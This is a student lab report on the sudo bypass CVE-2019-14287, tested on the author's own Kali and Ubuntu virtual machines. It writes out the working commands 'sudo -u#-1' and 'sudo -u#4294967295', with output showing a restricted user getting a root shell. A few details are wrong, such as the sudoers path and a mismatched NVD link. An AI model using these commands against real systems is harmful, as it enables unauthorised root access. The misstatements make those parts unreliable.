SUDO SECUSRITY BYPASS VULNERABILITY (CVE 2019-14287)

Perera D.L.J.U.J. IT19037684

Contents

Introduction

The Linux vulnerability that I selected to exploit is SUDO bypass vulnerability which was used for privilege escalation in Linux machines. I found it from a github page and the link for that page can be found on the reference page below. Before I chose this vulnerability I was going to do the Dirty COW vulnerability but when I tired to do it I found it hard to exploit and I didn't understand the exploit code, Both Dirty COW and SUDO bypass vulnerability, I found them by searching privilege escalation vulnerabilities in Google because of I failed to do the Dirty COW exploit I chose SUDO bypass vulnerability.

What is SUDO in Linux

SUDO also identified as Super User Do is a utility in UNIX and Linux based systems which provides administrators of the system to grant permission to specific users to run specific commands as root user. Using SUDO the systems administrator can

- Control the commands that a user can use on each hosts
- View the user log and find which user used which command
- Give some users or all the users to run some commands or all the commands as the root
- Use timestamps to control the time that a user can use commands as root user

SUDO privileges can be changed by administrators of the systems by editing “sudoers” file in the “/root/etc” path. “sudores” file can be edited using visudo command

```
File   Actions   Edit   View   Help
root@kali:~# visudo
```

When sudoers file is opened by visudo it’s content can be seen like this

```
File  Actions  Edit  View  Help
  GNU nano 4.9.2                                                    /etc/sudoers.tmp
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
```

What is SUDO security bypass vulnerability

National Vulnerability Database information

CVE code	CVE – 2019-14287
Threat	Critical
CVSS:3.x score	8.8
CVSS:2.0 score	9.0
SUDO versions affected	Versions prior to 1.8.28

SUDO security bypass vulnerability was first found by **Joe Vennix an Apple information security researcher**. This vulnerability can be exploited by users to gain root access of the system without the administrator giving permission to that users.

This vulnerability was there in Linux systems for a long time until it was found in October 2019. And this vulnerability is considered a very dangerous one that can be exploited by attackers for privilege escalation attacks. This vulnerability was existed in SUDO versions prior to 1.8.28 and it was fixed after the release of SUDO version 1.8.28. At first I tried this exploit on my Kali Linux machine and it didn't work, then I found out that it works on only SUDO version prior to SUDO version 1.8.28. Then I downloaded a older version of Ubuntu server and tried it on that, and was able to successfully do the exploit and I was able to access root shell.

SUDO version of the Linux system can viewed using
sudo –version | grep version

```
root@ubuntu:~# sudo --version | grep version
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16
root@ubuntu:~#
```

or using sudo -V | grep version

```
root@ubuntu:~# sudo -V | grep version
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16
root@ubuntu:~#
```

How to Exploit

Every user of the system have a password, user ID (UID), group ID and this can be checked in the “passwd” file using cat /etc/passwd

```
File  Actions  Edit  View  Help
root@kali:~# cat /etc/passwd
```

Contents of the passwd file can be seen like this

```
File  Actions  Edit  View  Help
root@kali:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
_apt:x:103:65534::/nonexistent:/usr/sbin/nologin
mysql:x:104:110:MySQL Server,,,:/nonexistent:/bin/false
tss:x:105:111:TPM software stack,,,:/var/lib/tpm:/bin/false
strongswan:x:106:65534::/var/lib/strongswan:/usr/sbin/nologin
ntp:x:107:112::/nonexistent:/usr/sbin/nologin
messagebus:x:108:113::/nonexistent:/usr/sbin/nologin
redsocks:x:109:114::/var/run/redsocks:/usr/sbin/nologin
rwhod:x:110:65534::/var/spool/rwho:/usr/sbin/nologin
iodine:x:111:65534::/var/run/iodine:/usr/sbin/nologin
tcpdump:x:112:117::/nonexistent:/usr/sbin/nologin
miredo:x:113:65534::/var/run/miredo:/usr/sbin/nologin
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:115:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:116:121:RealtimeKit,,,:/proc:/usr/sbin/nologin
_rpc:x:117:65534::/run/rpcbind:/usr/sbin/nologin
Debian-snmp:x:118:123::/var/lib/snmp:/bin/false
statd:x:119:65534::/var/lib/nfs:/usr/sbin/nologin
postgres:x:120:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
stunnel4:x:121:127::/var/run/stunnel4:/usr/sbin/nologin
sshd:x:122:65534::/run/sshd:/usr/sbin/nologin
sslh:x:123:128::/nonexistent:/usr/sbin/nologin
avahi:x:124:129:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
nm-openvpn:x:125:130:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
nm-openconnect:x:126:131:NetworkManager OpenConnect plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin
pulse:x:127:133:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
saned:x:128:135::/var/lib/saned:/usr/sbin/nologin
inetsim:x:129:137::/var/lib/inetsim:/usr/sbin/nologin
colord:x:130:138:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:131:139::/var/lib/geoclue:/usr/sbin/nologin
lightdm:x:132:140:Light Display Manager:/var/lib/lightdm:/bin/false
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
janod:x:1000:1000:janod,,,:/home/janod:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
root@kali:~#
```

In passwd file root user can be seen like this

```
root:x:0:0:root:/root:/bin/bash
nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
```

The line root:x:0:0:root:/root:/bin/bash in passwd file can be explained like this

- root – user name
- x – password (password is shown as x because it is encrypted)
- 0 – user id (UID)
- 0 – group id (GID)
- /root – home directory
- /bin/bash – shell that user can use

When an administrator add a new user to the system that user details is inserted into the passwd file like above.

Eg :- when administrator inserted jack as an user to the system

```
File  Actions  Edit  View  Help

root@kali:~# cat /etc/passwd | grep jack
jack:x:1001:1001::/home/jack:/bin/bash
root@kali:~#
```

Usually what an administrator do is when he add a new user to the system he add that user in “sudoers” file with restrictions prevent him using root commands.

```
# User privilege specification
root    ALL=(ALL:ALL) ALL
jack    ALL=(ALL,!root) ALL
```

By using jack ALL(ALL,!root)ALL line here jack user can use all commands but he is restricted to use sudo commands as root in the system. So when the user jack log into the system is not allowed to use sudo commands as root, that's where the exploit is. Using this SUDO exploit Jack can use sudo commands as root by using certain arguments with sudo commands.

So I tried to do this exploit in my Kali Linux machine.

1. First I created a new user name jack in my machine using useradd -m -s /bin/bash jack with the password jack123

```
File   Actions   Edit   View   Help

root@kali:~# useradd -m -s /bin/bash jack
root@kali:~# passwd jack
New password:
Retype new password:
passwd: password updated successfully
root@kali:~#
```

2. Then I edited "sudoers" file and restricted jack to not run sudo commands as root using jack ALL(ALL,!root)ALL line

```
# User privilege specification
root    ALL=(ALL:ALL) ALL
jack    ALL=(ALL,!root) ALL
```

3. After then I logged in as jack and tried to access passwd file using sudo as root using this exploit, but it didn't work

```
File  Actions  Edit  View  Help

root@kali:~# su jack
jack@kali:/root$ sudo cat /etc/passwd

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for jack:
Sorry, user jack is not allowed to execute '/usr/bin/cat /etc/passwd' as root on kali.kali.
jack@kali:/root$ sudo -u#0  cat /etc/passwd
[sudo] password for jack:
Sorry, user jack is not allowed to execute '/usr/bin/cat /etc/passwd' as root on kali.kali.
jack@kali:/root$ sudo -u#-1  cat /etc/passwd
sudo: unknown user: #-1
sudo: unable to initialize policy plugin
jack@kali:/root$
```

Then I checked the internet why it didn't work, Then I found out from [National Vulnerability Database]() that it only works on SUDO versions prior to 1.8.28 and my Kali machine SUDO version was 1.8.31

```
File  Actions  Edit  View  Help

root@kali:~# sudo -V | grep version
Sudo version 1.8.31p1
Sudoers policy plugin version 1.8.31p1
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31p1
root@kali:~#
```

Then I downloaded an older version of Ubuntu server which is Ubuntu Server 16.04.05 from [this link]

Not secure | old-releases.ubuntu.com/releases/16.04.5/

ubuntu-16.04.5-desktop-amd64.metalink	2019-02-28 14:39	49K
ubuntu-16.04.5-desktop-i386.iso	2018-07-31 01:14	1.5G
ubuntu-16.04.5-desktop-i386.iso.torrent	2018-08-02 10:10	62K
ubuntu-16.04.5-desktop-i386.iso.zsync	2018-08-02 10:10	3.1M
ubuntu-16.04.5-desktop-i386.list	2018-07-31 01:14	3.8K
ubuntu-16.04.5-desktop-i386.manifest	2018-07-31 00:59	67K
ubuntu-16.04.5-desktop-i386.metalink	2019-02-28 14:39	49K
ubuntu-16.04.5-server-amd64.iso	2018-07-31 00:40	870M
ubuntu-16.04.5-server-amd64.iso.torrent	2018-08-02 10:11	34K
ubuntu-16.04.5-server-amd64.iso.zsync	2018-08-02 10:11	1.7M
ubuntu-16.04.5-server-amd64.jigdo	2018-08-02 10:11	136K
ubuntu-16.04.5-server-amd64.list	2018-07-31 00:40	98K
ubuntu-16.04.5-server-amd64.manifest	2018-07-31 00:33	5.3K
ubuntu-16.04.5-server-amd64.metalink	2019-02-28 14:39	49K
ubuntu-16.04.5-server-amd64.template	2018-07-31 00:40	86M
ubuntu-16.04.5-server-i386.iso	2018-07-31 00:43	834M
ubuntu-16.04.5-server-i386.iso.torrent	2018-08-02 10:11	33K
ubuntu-16.04.5-server-i386.iso.zsync	2018-08-02 10:11	1.6M
ubuntu-16.04.5-server-i386.jigdo	2018-08-02 10:11	134K
ubuntu-16.04.5-server-i386.list	2018-07-31 00:43	96K
ubuntu-16.04.5-server-i386.manifest	2018-07-31 00:34	5.2K
ubuntu-16.04.5-server-i386.metalink	2019-02-28 14:39	48K

After that I installed it into a virtual machine and checked the SUDO version and it had SUDO version 1.8.16 which is vulnerable and the exploit must work.

```
root@ubuntu:~# sudo -V | grep version
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16
root@ubuntu:~#
```

The next thing I did was I tried to do the exploit in the ubuntu server.

1. First I created a new user name jack in the ubuntu machine using useradd -m -s /bin/bash jack

```
root@ubuntu:~# useradd -m -s /bin/bash jack
root@ubuntu:~# passwd jack
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@ubuntu:~#
```

2. Then I edited "sudoers" file in the ubuntu machine preventing him from running sudo commands as root

```
# User privilege specification
root    ALL=(ALL:ALL) ALL
jack    ALL=(ALL,!root) ALL
```

3. Then tried to connect with that Ubuntu server as jack from my Kali machine using ssh jack@192.168.8.183 which gave me this error

```
File  Actions  Edit  View  Help

root@kali:~# ssh root@192.168.8.183
ssh: connect to host 192.168.8.183 port 22: Connection refused
root@kali:~#
```

Then checked in the internet for the reason and found out that I need to install ssh server into the Ubuntu server. Then I found out the command to install ssh server and I installed ssh server in the ubuntu machine using apt install openssh-server

```
root@ubuntu:~# apt install openssh-server_
```

Then I tried again to login as jack from Kali machine, this time it worked and I was logged in the ubuntu server as jack.

```
File  Actions  Edit  View  Help

root@kali:~# ssh jack@192.168.8.183
jack@192.168.8.183's password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

184 packages can be updated.
125 updates are security updates.

New release '18.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

jack@ubuntu:~$
```

Ten I try to do the exploit as jack in the ubuntu machine from the kali machine

1. First I used sudo -u#0 cat /etc/passwd to check if I can open passwd file as root and got a massage that I don't have permission to that

```
jack@ubuntu:~$ sudo -u#0 cat  /etc/passwd
[sudo] password for jack:
Sorry, user jack is not allowed to execute '/bin/cat /etc/passwd' as root on ubuntu.
jack@ubuntu:~$
```

2. Then I tried to open the passwd file using the exploit I was able to access the passwd file as root indicating that the exploit is working

```
File  Actions  Edit  View  Help

jack@ubuntu:~$ sudo -u#-1 cat  /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
janod:x:1000:1000:janod perera,,,:/home/janod:/bin/bash
jack:x:1001:1001::/home/jack:/bin/bash
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
jack@ubuntu:~$
```

So I will explain the exploit like this, if jack try to use sudo -u#0 cat /etc/passwd he will get a massage saying that he is not allowed to do that because #0 here is indicating that he is trying to execute that command as root because user id of the root is 0 as I explained earlier. But if jack tried to use sudo -u#-1 cat /etc/passwd which is invalid because there is no user with user id as #-1,jack is able to run the command successfully and access the passwd file.

Using this exploit a normal user that is not allowed to access root function can perform root commands and access root content easily. There are two ways of using this exploit

- Use -1 as user id sudo -u#-1 cat /bin/bash

```
jack@ubuntu:~$ sudo -u#-1 /bin/bash
root@ubuntu:~#
```

- Or use long number 4294967295 as user id sudo -u#4294967295 /bin/bash

```
jack@ubuntu:~$ sudo -u#4294967295 /bin/bash
root@ubuntu:~#
```

As you can see both methods work and from both ways a normal user of the system was able to access shell as root easily

References

1. https://github.com/anandkumar11u/CVE2019-14287/blob/master/README.md
2. https://nvd.nist.gov/vuln/detail/CVE-2019-18276
3. https://hsploit.com/sudo-security-bypass-vulnerability-cve-2019-14287/